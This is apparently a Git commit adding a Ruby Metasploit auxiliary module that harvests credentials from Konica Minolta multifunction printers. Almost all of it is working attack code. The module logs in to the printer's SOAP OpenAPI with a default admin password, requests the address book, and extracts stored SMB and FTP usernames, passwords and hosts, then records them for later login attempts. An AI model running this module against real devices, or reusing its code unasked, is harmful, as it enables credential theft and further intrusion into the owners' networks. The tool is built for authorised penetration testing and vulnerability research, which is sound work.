Land #4101 - Konica MFP FTP and SMB credential gathering module
commit
4257fef91b
|
@ -0,0 +1,258 @@
|
|||
#
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Konica Minolta Password Extractor',
|
||||
'Description' => %q(
|
||||
This module will extract FTP and SMB account usernames and passwords
|
||||
from Konica Minolta mfp devices. Tested models include: C224, C280,
|
||||
283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ),
|
||||
'Author' =>
|
||||
[
|
||||
'Deral "Percentx" Heiland',
|
||||
'Pete "Bokojan" Arzamendi'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT('50001'),
|
||||
OptString.new('USER', [false, 'The default Admin user', 'Admin']),
|
||||
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
|
||||
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Creates the XML data to be sent that will extract AuthKey
|
||||
def generate_authkey_request_xlm(major, minor)
|
||||
user = datastore['USER']
|
||||
passwd = datastore['PASSWD']
|
||||
Nokogiri::XML::Builder.new do |xml|
|
||||
xml.send('SOAP-ENV:Envelope',
|
||||
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
|
||||
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
|
||||
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
|
||||
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
|
||||
xml.send('SOAP-ENV:Header'){
|
||||
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
|
||||
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
|
||||
xml.send('UserName', 'xmlns' => '') { xml.text '' }
|
||||
xml.send('Password', 'xmlns' => '') { xml.text '' }
|
||||
xml.send('Version', 'xmlns' => ''){
|
||||
xml.send('Major') { xml.text "#{major}" }
|
||||
xml.send('Minor') { xml.text "#{minor}" }
|
||||
}
|
||||
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
|
||||
}
|
||||
}
|
||||
xml.send('SOAP-ENV:Body') {
|
||||
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
|
||||
xml.send('OperatorInfo'){
|
||||
xml.send('UserType') { xml.text "#{user}" }
|
||||
xml.send('Password') { xml.text "#{passwd}" }
|
||||
}
|
||||
xml.send('TimeOut') { xml.text '60' }
|
||||
}
|
||||
}
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# Create XML data that will be sent to extract SMB and FTP passwords from device
|
||||
def generate_pwd_request_xlm(major, minor, authkey)
|
||||
Nokogiri::XML::Builder.new do |xml|
|
||||
xml.send('SOAP-ENV:Envelope',
|
||||
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
|
||||
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
|
||||
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
|
||||
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
|
||||
xml.send('SOAP-ENV:Header'){
|
||||
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
|
||||
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
|
||||
xml.send('UserName', 'xmlns' => '') { xml.text '' }
|
||||
xml.send('Password', 'xmlns' => '') { xml.text '' }
|
||||
xml.send('Version', 'xmlns' => ''){
|
||||
xml.send('Major') { xml.text "#{major}" }
|
||||
xml.send('Minor') { xml.text "#{minor}" }
|
||||
}
|
||||
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
|
||||
}
|
||||
}
|
||||
xml.send('SOAP-ENV:Body'){
|
||||
xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
|
||||
xml.send('OperatorInfo'){
|
||||
xml.send('AuthKey') { xml.text "#{authkey}" }
|
||||
}
|
||||
xml.send('AbbrListCondition'){
|
||||
xml.send('SearchKey') { xml.text 'None' }
|
||||
xml.send('WellUse') { xml.text 'false' }
|
||||
xml.send('ObtainCondition'){
|
||||
xml.send('Type') { xml.text 'OffsetList' }
|
||||
xml.send('OffsetRange'){
|
||||
xml.send('Start') { xml.text '1' }
|
||||
xml.send('Length') { xml.text '100' }
|
||||
}
|
||||
}
|
||||
xml.send('BackUp') { xml.text 'true' }
|
||||
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# This next section will post the XML soap messages for information gathering.
|
||||
def run_host(ip)
|
||||
print_status("Attempting to extract username and password from the host at #{peer}")
|
||||
version
|
||||
end
|
||||
|
||||
# Validate XML Major Minor version
|
||||
def version
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'POST',
|
||||
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
if response.nil?
|
||||
print_error("#{peer} - No reponse from device")
|
||||
return
|
||||
else
|
||||
xml0_body = ::Nokogiri::XML(response.body)
|
||||
major_parse = xml0_body.xpath('//Major').text
|
||||
minor_parse = xml0_body.xpath('//Minor').text
|
||||
major = ("#{major_parse}")
|
||||
minor = ("#{minor_parse}")
|
||||
login(major, minor)
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Version check Connection failed.")
|
||||
end
|
||||
|
||||
# This section logs on and retrieves AuthKey token
|
||||
def login(major, minor)
|
||||
authreq_xml = generate_authkey_request_xlm(major, minor)
|
||||
# Send post request with crafted XML to login and retreive AuthKey
|
||||
begin
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'POST',
|
||||
'data' => authreq_xml.to_xml
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
if response.nil?
|
||||
print_error("#{peer} - No reponse from device")
|
||||
return
|
||||
else
|
||||
xml1_body = ::Nokogiri::XML(response.body)
|
||||
authkey_parse = xml1_body.xpath('//AuthKey').text
|
||||
authkey = ("#{authkey_parse}")
|
||||
extract(major, minor, authkey)
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Login Connection failed.")
|
||||
end
|
||||
end
|
||||
|
||||
# This section post xml soap message that will extract usernames and passwords
|
||||
def extract(major, minor, authkey)
|
||||
if (authkey != '')
|
||||
# create xml request to extract user credintial settings
|
||||
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
|
||||
# Send post request with crafted XML as data
|
||||
begin
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'POST',
|
||||
'data' => smbreq_xml.to_xml
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
if response.nil?
|
||||
print_error("#{peer} - No reponse from device")
|
||||
return
|
||||
else
|
||||
xml2_body = ::Nokogiri::XML(response.body)
|
||||
@smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
|
||||
@smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
|
||||
@smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
|
||||
@ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
|
||||
@ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
|
||||
@ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
|
||||
@ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
|
||||
end
|
||||
end
|
||||
i = 0
|
||||
# output SMB data
|
||||
@smb_user.each do
|
||||
shost = "#{@smb_host[i]}"
|
||||
sname = "#{@smb_user[i]}"
|
||||
sword = "#{@smb_pass[i]}"
|
||||
print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
|
||||
register_creds('smb', shost, '139', sname, sword)
|
||||
i += 1
|
||||
end
|
||||
i = 0
|
||||
# output FTP data
|
||||
@ftp_user.each do
|
||||
fhost = "#{@ftp_host[i]}"
|
||||
fname = "#{@ftp_user[i]}"
|
||||
fword = "#{@ftp_pass[i]}"
|
||||
fport = "#{@ftp_port[i]}"
|
||||
print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
|
||||
register_creds('ftp', fhost, fport, fname, fword)
|
||||
i += 1
|
||||
end
|
||||
|
||||
else
|
||||
print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def register_creds(service_name, remote_host, remote_port, username, password)
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace.id,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username
|
||||
}
|
||||
|
||||
service_data = {
|
||||
address: remote_host,
|
||||
port: remote_port,
|
||||
service_name: service_name,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue